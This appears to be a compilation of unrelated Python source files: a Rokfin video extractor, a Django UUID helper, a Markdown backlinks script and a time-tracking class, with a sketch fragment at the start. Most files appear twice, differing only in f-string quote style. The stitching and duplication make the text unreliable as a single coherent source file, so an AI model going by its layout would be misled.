int(width/cellsize)-2: grid.cells[x, y].right = grid.cells[x+1, y] if y > 0: grid.cells[x, y].up = grid.cells[x, y-1] if y < int(height/cellsize)-2: grid.cells[x, y].down = grid.cells[x, y+1] def draw(): background(128, 0.62, .54) # modify the values of the grid location according to eater/grower rules eater.modify() grower.modify() eater.move() grower.move() grid.draw_me() eater.show() grower.show() save_frame("d:/tmp/frames/petal.png") if frame_count > 1500: no_loop() print("Done.") run()
# coding: utf-8 import itertools from datetime import datetime from .common import InfoExtractor from ..utils import ( determine_ext, ExtractorError, float_or_none, format_field, int_or_none, str_or_none, traverse_obj, unified_timestamp, url_or_none, ) _API_BASE_URL = 'https://prod-api-v2.production.rokfin.com/api/v2/public/' class RokfinIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?rokfin\.com/(?P<id>(?P<type>post|stream)/\d+)' _TESTS = [{ 'url': 'https://www.rokfin.com/post/57548/Mitt-Romneys-Crazy-Solution-To-Climate-Change', 'info_dict': { 'id': 'post/57548', 'ext': 'mp4', 'title': 'Mitt Romney\'s Crazy Solution To Climate Change', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'upload_date': '20211023', 'timestamp': 1634998029, 'channel': 'Jimmy Dore', 'channel_id': 65429, 'channel_url': 'https://rokfin.com/TheJimmyDoreShow', 'duration': 213.0, 'availability': 'public', 'live_status': 'not_live', 'dislike_count': int, 'like_count': int, } }, { 'url': 'https://rokfin.com/post/223/Julian-Assange-Arrested-Streaming-In-Real-Time', 'info_dict': { 'id': 'post/223', 'ext': 'mp4', 'title': 'Julian Assange Arrested: Streaming In Real Time', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'upload_date': '20190412', 'timestamp': 1555052644, 'channel': 'Ron Placone', 'channel_id': 10, 'channel_url': 'https://rokfin.com/RonPlacone', 'availability': 'public', 'live_status': 'not_live', 'dislike_count': int, 'like_count': int, 'tags': ['FreeThinkingMedia^', 'RealProgressives^'], } }, { 'url': 'https://www.rokfin.com/stream/10543/Its-A-Crazy-Mess-Regional-Director-Blows-Whistle-On-Pfizers-Vaccine-Trial-Data', 'info_dict': { 'id': 'stream/10543', 'ext': 'mp4', 'title': '"It\'s A Crazy Mess" Regional Director Blows Whistle On Pfizer\'s Vaccine Trial Data', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'description': 'md5:324ce2d3e3b62e659506409e458b9d8e', 'channel': 'Ryan Cristián', 'channel_id': 53856, 'channel_url': 'https://rokfin.com/TLAVagabond', 'availability': 'public', 'is_live': False, 'was_live': True, 'live_status': 'was_live', 'timestamp': 1635874720, 'release_timestamp': 1635874720, 'release_date': '20211102', 'upload_date': '20211102', 'dislike_count': int, 'like_count': int, 'tags': ['FreeThinkingMedia^'], } }] def _real_extract(self, url): video_id, video_type = self._match_valid_url(url).group('id', 'type') metadata = self._download_json(f'{_API_BASE_URL}{video_id}', video_id) scheduled = unified_timestamp(metadata.get('scheduledAt')) live_status = ('was_live' if metadata.get('stoppedAt') else 'is_upcoming' if scheduled else 'is_live' if video_type == 'stream' else 'not_live') video_url = traverse_obj(metadata, 'url', ('content', 'contentUrl'), expected_type=url_or_none) formats, subtitles = [{'url': video_url}] if video_url else [], {} if determine_ext(video_url) == 'm3u8': formats, subtitles = self._extract_m3u8_formats_and_subtitles( video_url, video_id, fatal=False, live=live_status == 'is_live') if not formats: if metadata.get('premiumPlan'): self.raise_login_required('This video is only available to premium users', True, method='cookies') elif scheduled: self.raise_no_formats( f'Stream is offline; sheduled for {datetime.fromtimestamp(scheduled).strftime('%Y-%m-%d %H:%M:%S')}', video_id=video_id, expected=True) self._sort_formats(formats) uploader = traverse_obj(metadata, ('createdBy', 'username'), ('creator', 'username')) timestamp = (scheduled or float_or_none(metadata.get('postedAtMilli'), 1000) or unified_timestamp(metadata.get('creationDateTime'))) return { 'id': video_id, 'formats': formats, 'subtitles': subtitles, 'title': str_or_none(traverse_obj(metadata, 'title', ('content', 'contentTitle'))), 'duration': float_or_none(traverse_obj(metadata, ('content', 'duration'))), 'thumbnail': url_or_none(traverse_obj(metadata, 'thumbnail', ('content', 'thumbnailUrl1'))), 'description': str_or_none(traverse_obj(metadata, 'description', ('content', 'contentDescription'))), 'like_count': int_or_none(metadata.get('likeCount')), 'dislike_count': int_or_none(metadata.get('dislikeCount')), 'channel': str_or_none(traverse_obj(metadata, ('createdBy', 'name'), ('creator', 'name'))), 'channel_id': traverse_obj(metadata, ('createdBy', 'id'), ('creator', 'id')), 'channel_url': url_or_none(f'https://rokfin.com/{uploader}') if uploader else None, 'timestamp': timestamp, 'release_timestamp': timestamp if live_status != 'not_live' else None, 'tags': traverse_obj(metadata, ('tags', ..., 'title'), expected_type=str_or_none), 'live_status': live_status, 'availability': self._availability( needs_premium=bool(metadata.get('premiumPlan')), is_private=False, needs_subscription=False, needs_auth=False, is_unlisted=False), # 'comment_count': metadata.get('numComments'), # Data provided by website is wrong '__post_extractor': self.extract_comments(video_id) if video_type == 'post' else None, } def _get_comments(self, video_id): pages_total = None for page_n in itertools.count(): raw_comments = self._download_json( f'{_API_BASE_URL}comment?postId={video_id[5:]}&page={page_n}&size=50', video_id, note=f'Downloading viewer comments page {page_n + 1}{format_field(pages_total, template=' of %s')}', fatal=False) or {} for comment in raw_comments.get('content') or []: yield { 'text': str_or_none(comment.get('comment')), 'author': str_or_none(comment.get('name')), 'id': comment.get('commentId'), 'author_id': comment.get('userId'), 'parent': 'root', 'like_count': int_or_none(comment.get('numLikes')), 'dislike_count': int_or_none(comment.get('numDislikes')), 'timestamp': unified_timestamp(comment.get('postedAt')) } pages_total = int_or_none(raw_comments.get('totalPages')) or None is_last = raw_comments.get('last') if not raw_comments.get('content') or is_last or (page_n > pages_total if pages_total else is_last is not False): return class RokfinPlaylistBaseIE(InfoExtractor): _TYPES = { 'video': 'post', 'audio': 'post', 'stream': 'stream', 'dead_stream': 'stream', 'stack': 'stack', } def _get_video_data(self, metadata): for content in metadata.get('content') or []: media_type = self._TYPES.get(content.get('mediaType')) video_id = content.get('id') if media_type == 'post' else content.get('mediaId') if not media_type or not video_id: continue yield self.url_result(f'https://rokfin.com/{media_type}/{video_id}', video_id=f'{media_type}/{video_id}', video_title=str_or_none(traverse_obj(content, ('content', 'contentTitle')))) class RokfinStackIE(RokfinPlaylistBaseIE): IE_NAME = 'rokfin:stack' _VALID_URL = r'https?://(?:www\.)?rokfin\.com/stack/(?P<id>[^/]+)' _TESTS = [{ 'url': 'https://www.rokfin.com/stack/271/Tulsi-Gabbard-Portsmouth-Townhall-FULL--Feb-9-2020', 'playlist_count': 8, 'info_dict': { 'id': '271', }, }] def _real_extract(self, url): list_id = self._match_id(url) return self.playlist_result(self._get_video_data( self._download_json(f'{_API_BASE_URL}stack/{list_id}', list_id)), list_id) class RokfinChannelIE(RokfinPlaylistBaseIE): IE_NAME = 'rokfin:channel' _VALID_URL = r'https?://(?:www\.)?rokfin\.com/(?!((feed/?)|(discover/?)|(channels/?))$)(?P<id>[^/]+)/?$' _TESTS = [{ 'url': 'https://rokfin.com/TheConvoCouch', 'playlist_mincount': 100, 'info_dict': { 'id': '12071-new', 'title': 'TheConvoCouch - New', 'description': 'md5:bb622b1bca100209b91cd685f7847f06', }, }] _TABS = { 'new': 'posts', 'top': 'top', 'videos': 'video', 'podcasts': 'audio', 'streams': 'stream', 'stacks': 'stack', } def _real_initialize(self): self._validate_extractor_args() def _validate_extractor_args(self): requested_tabs = self._configuration_arg('tab', None) if requested_tabs is not None and (len(requested_tabs) > 1 or requested_tabs[0] not in self._TABS): raise ExtractorError(f'Invalid extractor-arg "tab". Must be one of {', '.join(self._TABS)}', expected=True) def _entries(self, channel_id, channel_name, tab): pages_total = None for page_n in itertools.count(0): if tab in ('posts', 'top'): data_url = f'{_API_BASE_URL}user/{channel_name}/{tab}?page={page_n}&size=50' else: data_url = f'{_API_BASE_URL}post/search/{tab}?page={page_n}&size=50&creator={channel_id}' metadata = self._download_json( data_url, channel_name, note=f'Downloading video metadata page {page_n + 1}{format_field(pages_total, template=' of %s')}') yield from self._get_video_data(metadata) pages_total = int_or_none(metadata.get('totalPages')) or None is_last = metadata.get('last') if is_last or (page_n > pages_total if pages_total else is_last is not False): return def _real_extract(self, url): channel_name = self._match_id(url) channel_info = self._download_json(f'{_API_BASE_URL}user/{channel_name}', channel_name) channel_id = channel_info['id'] tab = self._configuration_arg('tab', default=['new'])[0] return self.playlist_result( self._entries(channel_id, channel_name, self._TABS[tab]), f'{channel_id}-{tab}', f'{channel_name} - {tab.title()}', str_or_none(channel_info.get('description')))
# coding: utf-8 import itertools from datetime import datetime from .common import InfoExtractor from ..utils import ( determine_ext, ExtractorError, float_or_none, format_field, int_or_none, str_or_none, traverse_obj, unified_timestamp, url_or_none, ) _API_BASE_URL = 'https://prod-api-v2.production.rokfin.com/api/v2/public/' class RokfinIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?rokfin\.com/(?P<id>(?P<type>post|stream)/\d+)' _TESTS = [{ 'url': 'https://www.rokfin.com/post/57548/Mitt-Romneys-Crazy-Solution-To-Climate-Change', 'info_dict': { 'id': 'post/57548', 'ext': 'mp4', 'title': 'Mitt Romney\'s Crazy Solution To Climate Change', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'upload_date': '20211023', 'timestamp': 1634998029, 'channel': 'Jimmy Dore', 'channel_id': 65429, 'channel_url': 'https://rokfin.com/TheJimmyDoreShow', 'duration': 213.0, 'availability': 'public', 'live_status': 'not_live', 'dislike_count': int, 'like_count': int, } }, { 'url': 'https://rokfin.com/post/223/Julian-Assange-Arrested-Streaming-In-Real-Time', 'info_dict': { 'id': 'post/223', 'ext': 'mp4', 'title': 'Julian Assange Arrested: Streaming In Real Time', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'upload_date': '20190412', 'timestamp': 1555052644, 'channel': 'Ron Placone', 'channel_id': 10, 'channel_url': 'https://rokfin.com/RonPlacone', 'availability': 'public', 'live_status': 'not_live', 'dislike_count': int, 'like_count': int, 'tags': ['FreeThinkingMedia^', 'RealProgressives^'], } }, { 'url': 'https://www.rokfin.com/stream/10543/Its-A-Crazy-Mess-Regional-Director-Blows-Whistle-On-Pfizers-Vaccine-Trial-Data', 'info_dict': { 'id': 'stream/10543', 'ext': 'mp4', 'title': '"It\'s A Crazy Mess" Regional Director Blows Whistle On Pfizer\'s Vaccine Trial Data', 'thumbnail': r're:https://img\.production\.rokfin\.com/.+', 'description': 'md5:324ce2d3e3b62e659506409e458b9d8e', 'channel': 'Ryan Cristián', 'channel_id': 53856, 'channel_url': 'https://rokfin.com/TLAVagabond', 'availability': 'public', 'is_live': False, 'was_live': True, 'live_status': 'was_live', 'timestamp': 1635874720, 'release_timestamp': 1635874720, 'release_date': '20211102', 'upload_date': '20211102', 'dislike_count': int, 'like_count': int, 'tags': ['FreeThinkingMedia^'], } }] def _real_extract(self, url): video_id, video_type = self._match_valid_url(url).group('id', 'type') metadata = self._download_json(f'{_API_BASE_URL}{video_id}', video_id) scheduled = unified_timestamp(metadata.get('scheduledAt')) live_status = ('was_live' if metadata.get('stoppedAt') else 'is_upcoming' if scheduled else 'is_live' if video_type == 'stream' else 'not_live') video_url = traverse_obj(metadata, 'url', ('content', 'contentUrl'), expected_type=url_or_none) formats, subtitles = [{'url': video_url}] if video_url else [], {} if determine_ext(video_url) == 'm3u8': formats, subtitles = self._extract_m3u8_formats_and_subtitles( video_url, video_id, fatal=False, live=live_status == 'is_live') if not formats: if metadata.get('premiumPlan'): self.raise_login_required('This video is only available to premium users', True, method='cookies') elif scheduled: self.raise_no_formats( f'Stream is offline; sheduled for {datetime.fromtimestamp(scheduled).strftime("%Y-%m-%d %H:%M:%S")}', video_id=video_id, expected=True) self._sort_formats(formats) uploader = traverse_obj(metadata, ('createdBy', 'username'), ('creator', 'username')) timestamp = (scheduled or float_or_none(metadata.get('postedAtMilli'), 1000) or unified_timestamp(metadata.get('creationDateTime'))) return { 'id': video_id, 'formats': formats, 'subtitles': subtitles, 'title': str_or_none(traverse_obj(metadata, 'title', ('content', 'contentTitle'))), 'duration': float_or_none(traverse_obj(metadata, ('content', 'duration'))), 'thumbnail': url_or_none(traverse_obj(metadata, 'thumbnail', ('content', 'thumbnailUrl1'))), 'description': str_or_none(traverse_obj(metadata, 'description', ('content', 'contentDescription'))), 'like_count': int_or_none(metadata.get('likeCount')), 'dislike_count': int_or_none(metadata.get('dislikeCount')), 'channel': str_or_none(traverse_obj(metadata, ('createdBy', 'name'), ('creator', 'name'))), 'channel_id': traverse_obj(metadata, ('createdBy', 'id'), ('creator', 'id')), 'channel_url': url_or_none(f'https://rokfin.com/{uploader}') if uploader else None, 'timestamp': timestamp, 'release_timestamp': timestamp if live_status != 'not_live' else None, 'tags': traverse_obj(metadata, ('tags', ..., 'title'), expected_type=str_or_none), 'live_status': live_status, 'availability': self._availability( needs_premium=bool(metadata.get('premiumPlan')), is_private=False, needs_subscription=False, needs_auth=False, is_unlisted=False), # 'comment_count': metadata.get('numComments'), # Data provided by website is wrong '__post_extractor': self.extract_comments(video_id) if video_type == 'post' else None, } def _get_comments(self, video_id): pages_total = None for page_n in itertools.count(): raw_comments = self._download_json( f'{_API_BASE_URL}comment?postId={video_id[5:]}&page={page_n}&size=50', video_id, note=f'Downloading viewer comments page {page_n + 1}{format_field(pages_total, template=" of %s")}', fatal=False) or {} for comment in raw_comments.get('content') or []: yield { 'text': str_or_none(comment.get('comment')), 'author': str_or_none(comment.get('name')), 'id': comment.get('commentId'), 'author_id': comment.get('userId'), 'parent': 'root', 'like_count': int_or_none(comment.get('numLikes')), 'dislike_count': int_or_none(comment.get('numDislikes')), 'timestamp': unified_timestamp(comment.get('postedAt')) } pages_total = int_or_none(raw_comments.get('totalPages')) or None is_last = raw_comments.get('last') if not raw_comments.get('content') or is_last or (page_n > pages_total if pages_total else is_last is not False): return class RokfinPlaylistBaseIE(InfoExtractor): _TYPES = { 'video': 'post', 'audio': 'post', 'stream': 'stream', 'dead_stream': 'stream', 'stack': 'stack', } def _get_video_data(self, metadata): for content in metadata.get('content') or []: media_type = self._TYPES.get(content.get('mediaType')) video_id = content.get('id') if media_type == 'post' else content.get('mediaId') if not media_type or not video_id: continue yield self.url_result(f'https://rokfin.com/{media_type}/{video_id}', video_id=f'{media_type}/{video_id}', video_title=str_or_none(traverse_obj(content, ('content', 'contentTitle')))) class RokfinStackIE(RokfinPlaylistBaseIE): IE_NAME = 'rokfin:stack' _VALID_URL = r'https?://(?:www\.)?rokfin\.com/stack/(?P<id>[^/]+)' _TESTS = [{ 'url': 'https://www.rokfin.com/stack/271/Tulsi-Gabbard-Portsmouth-Townhall-FULL--Feb-9-2020', 'playlist_count': 8, 'info_dict': { 'id': '271', }, }] def _real_extract(self, url): list_id = self._match_id(url) return self.playlist_result(self._get_video_data( self._download_json(f'{_API_BASE_URL}stack/{list_id}', list_id)), list_id) class RokfinChannelIE(RokfinPlaylistBaseIE): IE_NAME = 'rokfin:channel' _VALID_URL = r'https?://(?:www\.)?rokfin\.com/(?!((feed/?)|(discover/?)|(channels/?))$)(?P<id>[^/]+)/?$' _TESTS = [{ 'url': 'https://rokfin.com/TheConvoCouch', 'playlist_mincount': 100, 'info_dict': { 'id': '12071-new', 'title': 'TheConvoCouch - New', 'description': 'md5:bb622b1bca100209b91cd685f7847f06', }, }] _TABS = { 'new': 'posts', 'top': 'top', 'videos': 'video', 'podcasts': 'audio', 'streams': 'stream', 'stacks': 'stack', } def _real_initialize(self): self._validate_extractor_args() def _validate_extractor_args(self): requested_tabs = self._configuration_arg('tab', None) if requested_tabs is not None and (len(requested_tabs) > 1 or requested_tabs[0] not in self._TABS): raise ExtractorError(f'Invalid extractor-arg "tab". Must be one of {", ".join(self._TABS)}', expected=True) def _entries(self, channel_id, channel_name, tab): pages_total = None for page_n in itertools.count(0): if tab in ('posts', 'top'): data_url = f'{_API_BASE_URL}user/{channel_name}/{tab}?page={page_n}&size=50' else: data_url = f'{_API_BASE_URL}post/search/{tab}?page={page_n}&size=50&creator={channel_id}' metadata = self._download_json( data_url, channel_name, note=f'Downloading video metadata page {page_n + 1}{format_field(pages_total, template=" of %s")}') yield from self._get_video_data(metadata) pages_total = int_or_none(metadata.get('totalPages')) or None is_last = metadata.get('last') if is_last or (page_n > pages_total if pages_total else is_last is not False): return def _real_extract(self, url): channel_name = self._match_id(url) channel_info = self._download_json(f'{_API_BASE_URL}user/{channel_name}', channel_name) channel_id = channel_info['id'] tab = self._configuration_arg('tab', default=['new'])[0] return self.playlist_result( self._entries(channel_id, channel_name, self._TABS[tab]), f'{channel_id}-{tab}', f'{channel_name} - {tab.title()}', str_or_none(channel_info.get('description')))
import secrets import uuid from collections import defaultdict, namedtuple from time import time from typing import Callable, Dict, Optional from django.db import models class UUIDT(uuid.UUID): """UUID (mostly) sortable by generation time. This doesn't adhere to any official UUID version spec, but it is superior as a primary key: to incremented integers (as they can reveal sensitive business information about usage volumes and patterns), to UUID v4 (as the complete randomness of v4 makes its indexing performance suboptimal), and to UUID v1 (as despite being time-based it can't be used practically for sorting by generation time). Order can be messed up if system clock is changed or if more than 65 536 IDs are generated per millisecond (that's over 5 trillion events per day), but it should be largely safe to assume that these are time-sortable. Anatomy: - 6 bytes - Unix time milliseconds unsigned integer - 2 bytes - autoincremented series unsigned integer (per millisecond, rolls over to 0 after reaching 65 535 UUIDs in one ms) - 8 bytes - securely random gibberish Loosely based on Segment's KSUID (https://github.com/segmentio/ksuid) and on Twitter's snowflake ID (https://blog.twitter.com/engineering/en_us/a/2010/announcing-snowflake.html). """ current_series_per_ms: Dict[int, int] = defaultdict(int) def __init__(self, unix_time_ms: Optional[int] = None) -> None: if unix_time_ms is None: unix_time_ms = int(time() * 1000) time_component = unix_time_ms.to_bytes(6, "big", signed=False) # 48 bits for time, WILL FAIL in 10 895 CE series_component = self.get_series(unix_time_ms).to_bytes(2, "big", signed=False) # 16 bits for series random_component = secrets.token_bytes(8) # 64 bits for random gibberish bytes = time_component + series_component + random_component assert len(bytes) == 16 super().__init__(bytes=bytes) @classmethod def get_series(cls, unix_time_ms: int) -> int: """Get per-millisecond series integer in range [0-65536).""" series = cls.current_series_per_ms[unix_time_ms] if len(cls.current_series_per_ms) > 10_000: # Clear class dict periodically cls.current_series_per_ms.clear() cls.current_series_per_ms[unix_time_ms] = series cls.current_series_per_ms[unix_time_ms] += 1 cls.current_series_per_ms[unix_time_ms] %= 65_536 return series class UUIDModel(models.Model): class Meta: abstract = True id: models.UUIDField = models.UUIDField(primary_key=True, default=UUIDT, editable=False) def sane_repr(*attrs: str) -> Callable[[object], str]: if "id" not in attrs and "pk" not in attrs: attrs = ("id",) + attrs def _repr(self): pairs = (f"{attr}={repr(getattr(self, attr))}" for attr in attrs) return f"<{type(self).__name__} at {hex(id(self))}: {", ".join(pairs)}>" return _repr def namedtuplefetchall(cursor): """Return all rows from a cursor as a namedtuple""" desc = cursor.description nt_result = namedtuple("Result", [col[0] for col in desc]) # type: ignore return [nt_result(*row) for row in cursor.fetchall()] def generate_random_token(nbytes: int = 32) -> str: """Generate a securely random token. Random 32 bytes - default value here - is believed to be sufficiently secure for practically all purposes: https://docs.python.org/3/library/secrets.html#how-many-bytes-should-tokens-use """ return secrets.token_urlsafe(nbytes)
import secrets import uuid from collections import defaultdict, namedtuple from time import time from typing import Callable, Dict, Optional from django.db import models class UUIDT(uuid.UUID): """UUID (mostly) sortable by generation time. This doesn't adhere to any official UUID version spec, but it is superior as a primary key: to incremented integers (as they can reveal sensitive business information about usage volumes and patterns), to UUID v4 (as the complete randomness of v4 makes its indexing performance suboptimal), and to UUID v1 (as despite being time-based it can't be used practically for sorting by generation time). Order can be messed up if system clock is changed or if more than 65 536 IDs are generated per millisecond (that's over 5 trillion events per day), but it should be largely safe to assume that these are time-sortable. Anatomy: - 6 bytes - Unix time milliseconds unsigned integer - 2 bytes - autoincremented series unsigned integer (per millisecond, rolls over to 0 after reaching 65 535 UUIDs in one ms) - 8 bytes - securely random gibberish Loosely based on Segment's KSUID (https://github.com/segmentio/ksuid) and on Twitter's snowflake ID (https://blog.twitter.com/engineering/en_us/a/2010/announcing-snowflake.html). """ current_series_per_ms: Dict[int, int] = defaultdict(int) def __init__(self, unix_time_ms: Optional[int] = None) -> None: if unix_time_ms is None: unix_time_ms = int(time() * 1000) time_component = unix_time_ms.to_bytes(6, "big", signed=False) # 48 bits for time, WILL FAIL in 10 895 CE series_component = self.get_series(unix_time_ms).to_bytes(2, "big", signed=False) # 16 bits for series random_component = secrets.token_bytes(8) # 64 bits for random gibberish bytes = time_component + series_component + random_component assert len(bytes) == 16 super().__init__(bytes=bytes) @classmethod def get_series(cls, unix_time_ms: int) -> int: """Get per-millisecond series integer in range [0-65536).""" series = cls.current_series_per_ms[unix_time_ms] if len(cls.current_series_per_ms) > 10_000: # Clear class dict periodically cls.current_series_per_ms.clear() cls.current_series_per_ms[unix_time_ms] = series cls.current_series_per_ms[unix_time_ms] += 1 cls.current_series_per_ms[unix_time_ms] %= 65_536 return series class UUIDModel(models.Model): class Meta: abstract = True id: models.UUIDField = models.UUIDField(primary_key=True, default=UUIDT, editable=False) def sane_repr(*attrs: str) -> Callable[[object], str]: if "id" not in attrs and "pk" not in attrs: attrs = ("id",) + attrs def _repr(self): pairs = (f"{attr}={repr(getattr(self, attr))}" for attr in attrs) return f"<{type(self).__name__} at {hex(id(self))}: {', '.join(pairs)}>" return _repr def namedtuplefetchall(cursor): """Return all rows from a cursor as a namedtuple""" desc = cursor.description nt_result = namedtuple("Result", [col[0] for col in desc]) # type: ignore return [nt_result(*row) for row in cursor.fetchall()] def generate_random_token(nbytes: int = 32) -> str: """Generate a securely random token. Random 32 bytes - default value here - is believed to be sufficiently secure for practically all purposes: https://docs.python.org/3/library/secrets.html#how-many-bytes-should-tokens-use """ return secrets.token_urlsafe(nbytes)
import argparse import os import re from argparse import Namespace from logging import Logger from typing import List, Tuple, Set import util def get_logger() -> Logger: return util.get_logger(logger_name='generate_backlinks_files') def markdown_filenames(folder_path: str) -> List[str]: return [fn for fn in os.listdir(folder_path) if util.is_md(fn)] def html_link(href: str, display: str) -> str: # for some reason pandoc doesn't change the .md to .html in backlinks # so the replacement here is a little hack to make it work return f'<a href="{href.replace('.md', '.html')}">{display}</a>' def backlinks_html(refs: List[Tuple[str, str]]) -> str: if len(refs) <= 0: return '' txt: List[str] = [ '<div class="footer">', '<ul>' ] for backlink, link_display in set(refs): txt.append('<li>' + html_link(backlink, link_display) + '</li>') txt.append('</ul>') # we don't close the div.footer that we opened here; pandoc will do that # for us when it generates the final HTML. Why do this? so when pandoc # generates the footnotes, they will be included in the nicely formatted # footer section that we've created for the backlinks return '\n'.join(txt) def generate_backlinks_files(notes_folder: str, backlinks_folder: str) -> None: logger: Logger = get_logger() file_names: List[str] = markdown_filenames(folder_path=notes_folder) logger.info(f'Found {len(file_names)} files in {notes_folder}') util.create_folder(location=backlinks_folder) logger.info(f'Will put backlinks into: {backlinks_folder}/') # find all of the files that have changed since the last script run by # looking into the JSON state file to speed up the backlinks generation state_file: dict = util.read_existing_json_state_file(location=backlinks_folder) relevant_file_names: Set[str] = set() for file_name in file_names: key: str = util.strip_file_extension(file_name) if state_file['files'][key]['last_checked'] == state_file['runtime']: relevant_file_names.add(file_name) # ensure that we also refresh the backlinks for the files that are # referenced by this file (since the links go two ways) with open(util.path(notes_folder, file_name), 'r') as f: contents = f.read() # the results of re.findall() will look something like # [('Page B', 'pageB.md')] # where the link in markdown would've been [Page B](pageB.md) for _, link in util.md_links.findall(contents): if util.is_md(link): relevant_file_names.add(link) # create the backlinks files for file_name in relevant_file_names: logger.info(f'refreshing backlinks for {file_name}') # a list of all of the files that reference this one references = [] # look in all of the other files for references and put them in the # above list if we find any for other_file in file_names: if other_file == file_name: continue if other_file == 'index.md': # the index file is supposed to reference a lot of stuff # so I don't want it to pollute the backlinks continue with open(f'{notes_folder}/{other_file}', 'r') as f: contents = f.read() # the results of re.findall() will look something like # [('Page B', 'pageB.md')] # where the link in markdown would've been [Page B](pageB.md) for _, link in util.md_links.findall(contents): if link == file_name: logger.debug(f'{file_name}: referenced by {other_file}') title = util.note_title(f'{notes_folder}/{other_file}') references.append((other_file, title)) # write out all of the backlinks using some properly styled markdown. # this bit will be appended to the original note later on when it is # converted to a standalone HTML page backlinks_file_path = f'{backlinks_folder}/{file_name}.backlinks' with open(backlinks_file_path, 'w') as f: f.write(backlinks_html(refs=references)) if __name__ == '__main__': parser = argparse.ArgumentParser( description='Generate backlinks for files in a given folder') parser.add_argument( '-n', '--notes', required=True, type=str, help='The absolute path of the folder that holds all of your notes. ' 'All of the notes that you want to generate the backlinks for ' 'should be in the top-level of this folder; the script will not ' 'recursively serach for any markdown files that are in ' 'subfolders.') parser.add_argument( '-t', '--temp', required=True, type=str, help='The relative path of a folder where you want the backlinks ' 'files to be stored when they are generated.' ) args: Namespace = parser.parse_args() logger: Logger = get_logger() generate_backlinks_files(notes_folder=args.notes, backlinks_folder=args.temp)
import argparse import os import re from argparse import Namespace from logging import Logger from typing import List, Tuple, Set import util def get_logger() -> Logger: return util.get_logger(logger_name='generate_backlinks_files') def markdown_filenames(folder_path: str) -> List[str]: return [fn for fn in os.listdir(folder_path) if util.is_md(fn)] def html_link(href: str, display: str) -> str: # for some reason pandoc doesn't change the .md to .html in backlinks # so the replacement here is a little hack to make it work return f'<a href="{href.replace(".md", ".html")}">{display}</a>' def backlinks_html(refs: List[Tuple[str, str]]) -> str: if len(refs) <= 0: return '' txt: List[str] = [ '<div class="footer">', '<ul>' ] for backlink, link_display in set(refs): txt.append('<li>' + html_link(backlink, link_display) + '</li>') txt.append('</ul>') # we don't close the div.footer that we opened here; pandoc will do that # for us when it generates the final HTML. Why do this? so when pandoc # generates the footnotes, they will be included in the nicely formatted # footer section that we've created for the backlinks return '\n'.join(txt) def generate_backlinks_files(notes_folder: str, backlinks_folder: str) -> None: logger: Logger = get_logger() file_names: List[str] = markdown_filenames(folder_path=notes_folder) logger.info(f'Found {len(file_names)} files in {notes_folder}') util.create_folder(location=backlinks_folder) logger.info(f'Will put backlinks into: {backlinks_folder}/') # find all of the files that have changed since the last script run by # looking into the JSON state file to speed up the backlinks generation state_file: dict = util.read_existing_json_state_file(location=backlinks_folder) relevant_file_names: Set[str] = set() for file_name in file_names: key: str = util.strip_file_extension(file_name) if state_file['files'][key]['last_checked'] == state_file['runtime']: relevant_file_names.add(file_name) # ensure that we also refresh the backlinks for the files that are # referenced by this file (since the links go two ways) with open(util.path(notes_folder, file_name), 'r') as f: contents = f.read() # the results of re.findall() will look something like # [('Page B', 'pageB.md')] # where the link in markdown would've been [Page B](pageB.md) for _, link in util.md_links.findall(contents): if util.is_md(link): relevant_file_names.add(link) # create the backlinks files for file_name in relevant_file_names: logger.info(f'refreshing backlinks for {file_name}') # a list of all of the files that reference this one references = [] # look in all of the other files for references and put them in the # above list if we find any for other_file in file_names: if other_file == file_name: continue if other_file == 'index.md': # the index file is supposed to reference a lot of stuff # so I don't want it to pollute the backlinks continue with open(f'{notes_folder}/{other_file}', 'r') as f: contents = f.read() # the results of re.findall() will look something like # [('Page B', 'pageB.md')] # where the link in markdown would've been [Page B](pageB.md) for _, link in util.md_links.findall(contents): if link == file_name: logger.debug(f'{file_name}: referenced by {other_file}') title = util.note_title(f'{notes_folder}/{other_file}') references.append((other_file, title)) # write out all of the backlinks using some properly styled markdown. # this bit will be appended to the original note later on when it is # converted to a standalone HTML page backlinks_file_path = f'{backlinks_folder}/{file_name}.backlinks' with open(backlinks_file_path, 'w') as f: f.write(backlinks_html(refs=references)) if __name__ == '__main__': parser = argparse.ArgumentParser( description='Generate backlinks for files in a given folder') parser.add_argument( '-n', '--notes', required=True, type=str, help='The absolute path of the folder that holds all of your notes. ' 'All of the notes that you want to generate the backlinks for ' 'should be in the top-level of this folder; the script will not ' 'recursively serach for any markdown files that are in ' 'subfolders.') parser.add_argument( '-t', '--temp', required=True, type=str, help='The relative path of a folder where you want the backlinks ' 'files to be stored when they are generated.' ) args: Namespace = parser.parse_args() logger: Logger = get_logger() generate_backlinks_files(notes_folder=args.notes, backlinks_folder=args.temp)
# AUTOGENERATED! DO NOT EDIT! File to edit: 50_time.ipynb (unless otherwise specified). __all__ = ['TimeKeeper'] # Cell import json from typing import Union import pandas as pd # Cell class TimeKeeper: def __init__(self) -> None: self.df = pd.DataFrame(columns=['time']) self.df.index.name = 'category' # for making sure calls to `record` and `record_question` are not mixed self.record_type = None def process_category_name(self, category_name: Union[str, list]) -> str: # if the category is a string (rather than a list)... if type(category_name)==str: # ...an attempt... try: # ...to interpret it is made category_name = json.loads(category_name) # if it is still a string... if type(category_name)==str: # ...that's it return category_name # if it's not a string, then it is assumed it is a list except json.JSONDecodeError: return category_name return category_name[-1].split('/')[-1] def record(self, minutes: int, category_name: Union[str, list]) -> None: if self.record_type is None: self.record_type = 'category' else: assert self.record_type == 'category', 'you cannot mix questions and categories' self.df.loc[self.process_category_name(category_name)] = minutes def record_question(self, minutes: int, question_name: str) -> None: if self.record_type is None: self.record_type = 'question' else: assert self.record_type == 'question', 'you cannot mix questions and categories' self.df.loc[question_name] = minutes def __str__(self) -> str: return f'Accumulated time: {self.df['time'].sum()} minutes' def plot(self): ax = self.df.plot.pie(y='time') ax.legend().remove() ax.set_ylabel(None) return ax
